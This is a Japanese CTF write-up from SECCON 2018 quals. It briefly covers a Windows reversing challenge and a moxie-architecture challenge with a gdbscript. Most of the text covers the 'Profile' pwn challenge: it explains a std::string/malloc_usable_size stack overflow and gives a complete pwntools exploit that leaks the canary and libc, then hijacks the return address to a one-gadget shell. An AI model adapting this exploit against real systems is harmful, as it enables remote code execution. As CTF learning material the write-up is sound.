seccon quals 2018

結果

2位

writeup

Runme

winバイナリです。IDAを開きます。true/falseを計算する関数を見つけます。その関数をたどっていくと、パスを一文字ずつ比較していく関数が連なっていることがわかります。文字をくっつけて終わり

Special Instructions

moxieという謎アーキ。結論からいえば、objdumpするだけだったが、試行錯誤的にはmoxieのqemugdbを入れて実行をして、拡張オペコードとして、xorshift32のseedを設定する命令と値を計算して返す命令があることがわかるので、gdbscriptを使って自動で実行できるようにした。

はずだったが、qemu remote debugがバグってんのか、gdbがバグってんのかしらんけどsetでpc以外のレジスタが書き換えられなかったので、結局自分でdisasmしてpythonで答えをだした。

せっかくgdbscirptでやや非自明なコードを書いたので今後のためにも供養しておく

target remote localhost:1234
b *0x154a
command
    set $pc=0x154c
#continue
end
b *0x1480
command
  set $pc=0x160c
end
set *0x1c60=2463534242
define get_value
  set *0x1c60=(*0x1c60) ^ (*0x1c60 << 13)
  set *0x1c60=(*0x1c60) ^ (*0x1c60 >> 17)
  set *0x1c60=(*0x1c60) ^ (*0x1c60 << 15)
  set $r0=*0x1c60
  set $pc = 0x1550
  print $r0
end
b *0x154e
command
    get_value
end

Profile

pwn。x64のC++バイナリ。Name/Age/Msgを最初に入力し、後からMsgを更新できるという機能を持つ。

std::stringの正しい仕様は知らないが、少なくとも問題のバイナリでは、15bytes以下の文字列(末尾の\x00を入れて16bytes)はスタックに入るようで、前から順に「bufferのポインタ」、「文字列の長さ」、「文字列バッファ」が作られる(知らんかった)。

ところで、このバイナリは、Msg更新の際に、なぜかc_strを使って、バッファを取り出して、malloc_usable_sizeを用いて、長さを確認したのち、その長さ分だけreadするような関数を作って用いている。

このとき、c_strバッファがスタックにあると、未定義かどうかわからないが、とても大きな値をmalloc_usable_sizeが返すので、バッファオーバーフローが起こる。オブジェクトは、メッセージ関数の下の方にあるので、オブジェクト末尾のcanaryやfreeされるポインタのアドレスを破壊しないように気をつけつつ、リターンアドレスを書き換えれば良い。

以下回答スクリプト

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "profile.pwn.seccon.jp"
    port = 28553
    rce = 0x4526a
    libc_offset = 0x20740 +  240
else:
    host = "127.0.0.1"
    port = 3001
    rce = 0x4526a

    # 0x7f63a7c09830 <__libc_start_main+240>:   0x31000197f9e8c789
    libc_offset = 0x20740 +  240

def main():
    r = remote(host, port)
    def menu(select, verbose=False):
        s = r.recvuntil('>> ')
        print(s)
        r.sendline(str(select))

    def update(msg):
        menu(1)
        s = r.recvuntil('>> ')
        print(s)
        r.sendline(msg)

    def show():
        menu(2)
        x = r.recvuntil('\n').replace('Name : ', '')
        y = r.recvuntil('\n').replace('Age  : ', '')
        z = r.recvuntil('\n').replace('Msg  : ', '')
        return (x, y, z)

    def exit():
        menu(0)

    def get_value():
        (x, y, z) = show()
        addr = u64(x[:8])
        return addr


    def introduce(name, age, msg):
        s = r.recvuntil('>> ')
        r.sendline(name)
        s = r.recvuntil('>> ')
        r.sendline(str(age))
        s = r.recvuntil('>> ')
        r.sendline(msg)
    msg  = 'ABCDEFGHIJKLMNO'
    name = 'ABCDEFGHIJKLMNO'
    introduce(msg, 1, name)
    #print('attach please. ok?')
    #raw_input()

    # add one byte.
    msg += 'A'

    update(msg+ '\x60')

    addr = get_value()
    if (addr & 0xff) != 0x60:
        print('miss...')
        r.close()
        main()

    print('name addr... {}'.format(hex(addr)))
    sleep(1)

    canary_addr = addr + 0x28
    update(msg + p64(canary_addr))
    canary = get_value()
    print('canary ... {}'.format(hex(canary)))

    base_addr = addr + 0x48
    update(msg + p64(base_addr))
    libc_base = get_value() - libc_offset
    print(hex(base_addr))
    print(hex(libc_base))

    ret2addr = libc_base + rce
    print('ret addr ... {}'.format(hex(ret2addr)))

    dummy = 'ABCDEFGHIJKLMNOPQRSTUVWX'
    buf = dummy + p64(ret2addr) + '\x00' * 0x40 # for one gadget rce
    update(msg + p64(addr + 0x10) + '\x00' * 0x20 + p64(canary) + buf)

    show()

    exit()

    r.interactive()
    print('finish...')

main()